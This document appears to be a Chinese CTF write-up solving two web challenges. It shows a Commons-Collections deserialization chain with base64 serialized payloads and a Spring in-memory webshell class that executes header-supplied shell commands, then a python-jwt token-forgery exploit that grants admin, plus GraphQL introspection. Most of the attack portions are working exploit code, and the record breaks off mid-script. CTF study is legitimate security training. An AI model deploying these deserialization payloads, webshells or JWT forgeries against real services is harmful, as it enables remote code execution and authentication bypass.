# Web
# ezjava
下载附件审计
有两个路由 hello 和 myTest,在 myTest 出直接 post 传 payload,然后进行无限制的反序列化。查看一下 lib 发现有 commons-collections4.0 依赖,这就很容易想到 CC2 或 CC4 链,直接用 yso 生成 payload 进行反弹 shell。这里可能是由于一些特殊字符直接 hackbar 传没有用,所以用 python 传,但是没有反弹成功
本地测试一下 payload 对不对
jdk8u66
java -jar ezjava-0.0.1-SNAPSHOT.jar
测试的 payload:
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGmsr+ur4AAAA0ADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgArAC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTg4MjQ4NzA4NzA4NzAwAQAgTHlzb3NlcmlhbC9Qd25lcjE4ODI0ODcwODcwODcwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgAAAHUyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA== |
本地 windows 环境下 payload 测试成功,因为不信邪自己还搭了一个 docker 环境放到云服务器上,发现反弹 shell 也是成功了的,说明只有一种可能就是题目不能出网,这样一下子就很难办了
最后经过各种信息搜集,发现可以利用 Spring 内存马进行回显
http://www.bmth666.cn/bmth_blog/2022/09/27/Spring 内存马学习 /#Spring 内存马
https://www.anquanke.com/post/id/258575#h2-2
https://myzxcg.com/2021/11/Spring - 内存马实现 /
直接拿从万能的网络中找到的恶意类
package ysoserial.payloads.evil; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import java.lang.reflect.Method; | |
import java.util.Scanner; | |
public class EvilTest extends AbstractTranslet { | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
public EvilTest() throws Exception{ | |
//Runtime.getRuntime().exec("touch /tmp/test.txt"); | |
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); | |
Method m = c.getMethod("getRequestAttributes"); | |
Object o = m.invoke(null); | |
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); | |
m = c.getMethod("getResponse"); | |
Method m1 = c.getMethod("getRequest"); | |
Object resp = m.invoke(o); | |
Object req = m1.invoke(o); // HttpServletRequest | |
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); | |
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); | |
getHeader.setAccessible(true); | |
getWriter.setAccessible(true); | |
Object writer = getWriter.invoke(resp); | |
String cmd = (String)getHeader.invoke(req, "cmd"); | |
String[] commands = new String[3]; | |
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; | |
if (System.getProperty("os.name").toUpperCase().contains("WIN")){ | |
commands[0] = "cmd"; | |
commands[1] = "/c"; | |
}else { | |
commands[0] = "/bin/sh"; | |
commands[1] = "-c"; | |
} | |
commands[2] = cmd; | |
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next()); | |
writer.getClass().getDeclaredMethod("flush").invoke(writer); | |
writer.getClass().getDeclaredMethod("close").invoke(writer); | |
} | |
} |
CC2:
package ysoserial.payloads; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import org.apache.commons.collections4.Transformer; | |
import org.apache.commons.collections4.comparators.TransformingComparator; | |
import org.apache.commons.collections4.functors.InvokerTransformer; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectInputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Field; | |
import java.util.Base64; | |
import java.util.Comparator; | |
import java.util.PriorityQueue; | |
public class CC2 { | |
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ | |
Field field = obj.getClass().getDeclaredField(fieldname); | |
field.setAccessible(true); | |
field.set(obj,value); | |
} | |
public static void main(String[] args)throws Exception { | |
// 创建 TemplatesImpl 对象加载字节码 | |
byte[] code = ClassPool.getDefault().get("ysoserial.payloads.evil.SpringEcho").toBytecode(); | |
TemplatesImpl obj = new TemplatesImpl(); | |
setFieldValue(obj,"_bytecodes",new byte[][]{code}); | |
setFieldValue(obj,"_name","ameuu"); | |
// 创建 TranformingComparator 实例 | |
Transformer transformer = new InvokerTransformer("toString",null,null); | |
TransformingComparator transformingComparator = new TransformingComparator(transformer); | |
// 创建 PriorityQueue 实例 | |
//readobject 入口 | |
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator); | |
priorityQueue.add(obj); | |
priorityQueue.add(obj); | |
// 修改调用方法为 newTransformer,加载恶意类。 | |
setFieldValue(transformer,"iMethodName","newTransformer"); | |
ByteArrayOutputStream baor = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream(baor); | |
oos.writeObject(priorityQueue); | |
oos.close(); | |
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray()))); | |
// // 反序列化 | |
// ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); | |
// ObjectInputStream ois = new ObjectInputStream(bais); | |
// Object o = ois.readObject(); | |
// baor.close(); | |
} | |
} |
python 上传,这里其实也卡了很久,直接上传的时候直接回显 500 然后再去请求头添加 cmd 之后并没有执行,感觉是没有成功,直到后来在自己测试的时候直接 data 和 headers 一起传发现居然成功了,不是很能理解(还是太菜了
exp:
url = 'http://39.106.13.71:18962/myTest' | |
data = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADnPK/rq+AAAANAC5CgAvAF8KAGAAYQoAYABiCABjCgBkAGUIAGYHAGcKAAcAaAcAaQoAagBrCABsCABtCABuCABvCABNCgAHAHAIAHEIAE4HAHIKAGoAcwgAUAgAdAoAdQB2CgATAHcIAHgKABMAeQgAeggAewoAEwB8CAB9CAB+CAB/CACACgAJAIEIAIIHAIMKAIQAhQoAhACGCgCHAIgKACQAiQgAigoAJACLCgAkAIwIAI0IAI4HAI8HAJABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5c29zZXJpYWwvcGF5bG9hZHMvZXZpbC9FdmlsVGVzdDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAkQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQABYwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABbQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAm0xAQAEcmVzcAEAA3JlcQEACWdldFdyaXRlcgEACWdldEhlYWRlcgEABndyaXRlcgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2NoYXJzZXROYW1lAQANU3RhY2tNYXBUYWJsZQcAjwcAZwcAkgcAaQcAcgcAUwcAkwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDABCAEMHAJQMAJUAlgwAlwCYAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyBwCZDACaAJsBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAD2phdmEvbGFuZy9DbGFzcwwAnACdAQAQamF2YS9sYW5nL09iamVjdAcAkgwAngCfAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwEAC2dldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAHWphdmF4LnNlcnZsZXQuU2VydmxldFJlc3BvbnNlDACgAJ0BACVqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL1N0cmluZwwAoQCiAQAHb3MubmFtZQcAowwApAClDACmAKcBAAZ3aW5kb3cMAKgAqQEAA0dCSwEABVVURi04DACqAKcBAANXSU4BAAIvYwEABy9iaW4vc2gBAAItYwwAqwCsAQAHcHJpbnRsbgEAEWphdmEvdXRpbC9TY2FubmVyBwCtDACuAK8MALAAsQcAsgwAswC0DABCALUBAAJcQQwAtgC3DAC4AKcBAAVmbHVzaAEABWNsb3NlAQAgeXNvc2VyaWFsL3BheWxvYWRzL2V2aWwvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAt0b1VwcGVyQ2FzZQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAhAC4ALwAAAAAAAwABADAAMQACADIAAAA/AAAAAwAAAAGxAAAAAgAzAAAABgABAAAAEQA0AAAAIAADAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABADkAOgACADsAAAAEAAEAPAABADAAPQACADIAAABJAAAABAAAAAGxAAAAAgAzAAAABgABAAAAFgA0AAAAKgAEAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABAD4APwACAAAAAQBAAEEAAwA7AAAABAABADwAAQBCAEMAAgAyAAACwwAJAA0AAAF7KrcAAbgAArYAAxIEtgAFTCsSBgO9AAe2AAhNLAEDvQAJtgAKTrgAArYAAxILtgAFTCsSDAO9AAe2AAhNKxINA70AB7YACDoELC0DvQAJtgAKOgUZBC0DvQAJtgAKOga4AAK2AAMSDrYABRIPA70AB7YAEDoHuAACtgADEhG2AAUSEgS9AAdZAxITU7YAEDoIGQgEtgAUGQcEtgAUGQcZBQO9AAm2AAo6CRkIGQYEvQAJWQMSFVO2AArAABM6Cga9ABM6CxIWuAAXtgAYEhm2ABqZAAgSG6cABRIcOgwSFrgAF7YAHRIetgAamQASGQsDEhVTGQsEEh9TpwAPGQsDEiBTGQsEEiFTGQsFGQpTGQm2ACISIwS9AAdZAxITU7YAEBkJBL0ACVkDuwAkWbgAJRkLtgAmtgAnGQy3ACgSKbYAKrYAK1O2AApXGQm2ACISLAO9AAe2ABAZCQO9AAm2AApXGQm2ACISLQO9AAe2ABAZCQO9AAm2AApXsQAAAAMAMwAAAG4AGwAAABcABAAaABAAGwAbABwAJQAdADEAHgA8AB8ASAAgAFMAIQBfACIAdQAjAJAAJACWACUAnAAmAKkAJwC+ACgAxAApAN0AKgDtACsA8wAsAPwALgECAC8BCAAxAQ4AMgFKADMBYgA0AXoANQA0AAAAhAANAAABewA1ADYAAAAQAWsARABFAAEAGwFgAEYARwACACUBVgBIAEkAAwBIATMASgBHAAQAUwEoAEsASQAFAF8BHABMAEkABgB1AQYATQBHAAcAkADrAE4ARwAIAKkA0gBPAEkACQC+AL0AUABRAAoAxAC3AFIAUwALAN0AngBUAFEADABVAAAAOAAE/wDZAAwHAFYHAFcHAFgHAFkHAFgHAFkHAFkHAFgHAFgHAFkHAFoHAFsAAEEHAFr8ACAHAFoLADsAAAAEAAEAXAABAF0AAAACAF5wdAAFYW1ldXVwdwEAeHEAfgAReA==' | |
r = requests.post(url, data=data) | |
print(r.text) | |
print(requests.post('http://39.106.13.71:18962/myTest', data=data, headers={'cmd': 'cat /flag'}).text) |
flag:
flag{18e4ba5e-7907-44f2-baba-2ac04b6787b4}
# FunWEB
- flask python-jwt
直接打开是登录注册界面,猜测可能有 SQL 注入,就是不知道环境是什么,先注册一个账号进去,发现有三个路由 getFlag、graphql、logout
但是前面两个都需要 admin 登录,查看 cookie 发现有 session 和 token,session 是 flask session,强行解密发现只是用来记录是否登录的。而 token 是 jwt,会记录是不是 admin,那么如果想成为 admin 那就是要找到秘钥了,但是完全没有思路该怎么去找到秘钥,打算从 JWT 攻击入手
把 token 放到 jwt.io 上看,发现是 PS256 加密,是非对称加密……
之后就卡了很久很久,甚至还成改成对称加密去爆破秘钥……
python 环境下的 jwt,google 到了 https://github.com/davedoesdev/python-jwt,可以发现近期刚出一个 CVE,还是关于 token 认证的,那这次的考点应该就是这里了
直接查看详情,可以发现漏洞点是 JWT 解析器和 jwtcrypto 依赖不一致造成的,但还是有点不知道该怎么入手,
查看 commit,在最后有一个 vulnerability_vows.py
,仔细审计一下可以发现这个就是用来测试漏洞是否修复成功的,那从另一方面来说我们就可以利用这和脚本伪造 token
直接将整个最新版的 python-jwt 从 github 上面拿下来,利用里面的 test 包构造 exp,然后在环境里面安装 python-jwt3.3.3:
from datetime import timedelta | |
from json import loads, dumps | |
from fixtures import generated_keys | |
import python_jwt as jwt | |
# from pyvows import Vows, expect | |
from jwcrypto.common import base64url_decode, base64url_encode | |
import requests | |
def fakePayload(topic): | |
""" Use mix of JSON and compact format to insert forged claims including long expiration """ | |
# print(topic) | |
[header, payload, signature] = topic.split('.') | |
parsed_payload = loads(base64url_decode(payload)) | |
parsed_payload['is_admin'] = 1 | |
parsed_payload['exp'] = 2000000000 | |
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) | |
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' | |
url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/' | |
a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg' | |
token = fakePayload(a) | |
r = requests.get(url + 'getflag', cookies={'token': token, | |
'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'}) | |
print(r.text) |
回显 only currect password can readflag
,说明我们得拿到 flag,而还有一个查看成绩的 graphql 路由可以进行 grqphql 注入
https://www.secpulse.com/archives/148242.html
https://graphql.cn/learn/queries/#variables
graphql 注入查询到:
{'__type': {'name': 'Getscorebyid', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'id'}]}}
{'__type': {'name': 'Getscorebyname', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'userid'}]}}
最终 exp:
import requests | |
from datetime import timedelta | |
from json import loads, dumps | |
from fixtures import generated_keys | |
import python_jwt as jwt | |
# from pyvows import Vows, expect | |
from jwcrypto.common import base64url_decode, base64url_encode | |
def fakePayload(topic): | |
""" Use mix of JSON and compact format to insert forged claims including long expiration """ | |
# print(topic) | |
[header, payload, signature] = topic.split('.') | |
parsed_payload = loads(base64url_decode(payload)) | |
parsed_payload['is_admin'] = 1 | |
parsed_payload['username'] = "admin" | |
parsed_payload['password'] = "i2Ip4m1Jx3iWMbtVRywc" | |
parsed_payload['exp'] = 2000000000 | |
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) | |
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' | |
url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/' | |
